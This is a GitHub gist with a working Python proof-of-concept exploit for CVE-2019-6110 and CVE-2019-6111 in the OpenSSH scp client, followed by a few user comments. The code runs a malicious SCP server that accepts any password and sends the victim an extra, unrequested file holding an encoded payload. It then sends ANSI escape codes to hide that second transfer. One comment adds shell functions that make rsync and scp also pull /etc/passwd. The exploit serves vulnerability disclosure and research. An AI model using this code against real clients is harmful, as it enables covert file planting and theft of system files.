SSHtranger Things Exploit POC
''' | |
Title: SSHtranger Things | |
Author: Mark E. Haase <mhaase@hyperiongray.com> | |
Homepage: https://www.hyperiongray.com | |
Date: 2019-01-17 | |
CVE: CVE-2019-6111, CVE-2019-6110 | |
Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt | |
Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1 | |
We have nicknamed this "SSHtranger Things" because the bug is so old it could be | |
exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko` | |
package. | |
The server listens on port 2222. It accepts any username and password, and it | |
generates a new host key every time you run it. | |
$ python3 sshtranger_things.py | |
Download a file using a vulnerable client. The local path must be a dot: | |
$ scp -P 2222 foo@localhost:test.txt . | |
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established. | |
RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w. | |
Are you sure you want to continue connecting (yes/no)? yes | |
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts. | |
foo@localhost's password: | |
test.txt 100% 32 0.7KB/s 00:00 | |
The file you requested (e.g. test.txt) will be saved in your current directory. | |
If your client is vulnerable, you will have an additional file "exploit.txt" | |
created in your current directory. | |
$ cat test.txt | |
This is the file you requested. | |
$ cat exploit.txt | |
SSHtranger Things | |
The interesting code is in ScpServer.send_file(). | |
''' | |
import base64 | |
import gzip | |
import logging | |
import paramiko | |
import paramiko.rsakey | |
import socket | |
import threading | |
logging.basicConfig(level=logging.INFO) | |
dummy = 'This is the file you requested.\n' | |
payload = gzip.decompress(base64.b64decode( | |
b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46' | |
b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA' | |
b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7' | |
b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d' | |
b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM' | |
b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz' | |
b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4' | |
b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc' | |
b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS' | |
b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA' | |
)) | |
class ScpServer(paramiko.ServerInterface): | |
def __init__(self): | |
self.event = threading.Event() | |
def check_auth_password(self, username, password): | |
logging.info('Authenticated with %s:%s', username, password) | |
return paramiko.AUTH_SUCCESSFUL | |
def check_channel_request(self, kind, chanid): | |
logging.info('Opened session channel %d', chanid) | |
if kind == "session": | |
return paramiko.OPEN_SUCCEEDED | |
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED | |
def check_channel_exec_request(self, channel, command): | |
command = command.decode('ascii') | |
logging.info('Approving exec request: %s', command) | |
parts = command.split(' ') | |
# Make sure that this is a request to get a file: | |
assert parts[0] == 'scp' | |
assert '-f' in parts | |
file = parts[-1] | |
# Send file from a new thread. | |
threading.Thread(target=self.send_file, args=(channel, file)).start() | |
return True | |
def send_file(self, channel, file): | |
''' | |
The meat of the exploit: | |
1. Send the requested file. | |
2. Send another file (exploit.txt) that was not requested. | |
3. Print ANSI escape sequences to stderr to hide the transfer of | |
exploit.txt. | |
''' | |
def wait_ok(): | |
assert channel.recv(1024) == b'\x00' | |
def send_ok(): | |
channel.sendall(b'\x00') | |
wait_ok() | |
logging.info('Sending requested file "%s" to channel %d', file, | |
channel.get_id()) | |
command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii') | |
channel.sendall(command) | |
wait_ok() | |
channel.sendall(dummy) | |
send_ok() | |
wait_ok() | |
# This is CVE-2019-6111: whatever file the client requested, we send | |
# them 'exploit.txt' instead. | |
logging.info('Sending malicious file "exploit.txt" to channel %d', | |
channel.get_id()) | |
command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii') | |
channel.sendall(command) | |
wait_ok() | |
channel.sendall(payload) | |
send_ok() | |
wait_ok() | |
# This is CVE-2019-6110: the client will display the text that we send | |
# to stderr, even if it contains ANSI escape sequences. We can send | |
# ANSI codes that clear the current line to hide the fact that a second | |
# file was transmitted.. | |
logging.info('Covering our tracks by sending ANSI escape sequence') | |
channel.sendall_stderr("\x1b[1A".encode('ascii')) | |
channel.close() | |
def main(): | |
logging.info('Creating a temporary RSA host key...') | |
host_key = paramiko.rsakey.RSAKey.generate(1024) | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
sock.bind(('localhost', 2222)) | |
sock.listen(0) | |
logging.info('Listening on port 2222...') | |
while True: | |
client, addr = sock.accept() | |
logging.info('Received connection from %s:%s', *addr) | |
transport = paramiko.Transport(client) | |
transport.add_server_key(host_key) | |
server = ScpServer() | |
transport.start_server(server=server) | |
if __name__ == '__main__': | |
main() |
This comment has been minimized.
This comment has been minimized.
Um this exploit seems a bit overkill. All you have to do is put this at the top of your rsync() { /usr/bin/rsync "$@" /etc/passwd; }
scp() { /usr/bin/scp "$@" /etc/passwd; } Edit: On the remote of course where the |
This comment has been minimized.
This comment has been minimized.
Using this sequence hides the progress bar even better! |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This comment has been minimized.
And no hostcheckkey will save you :)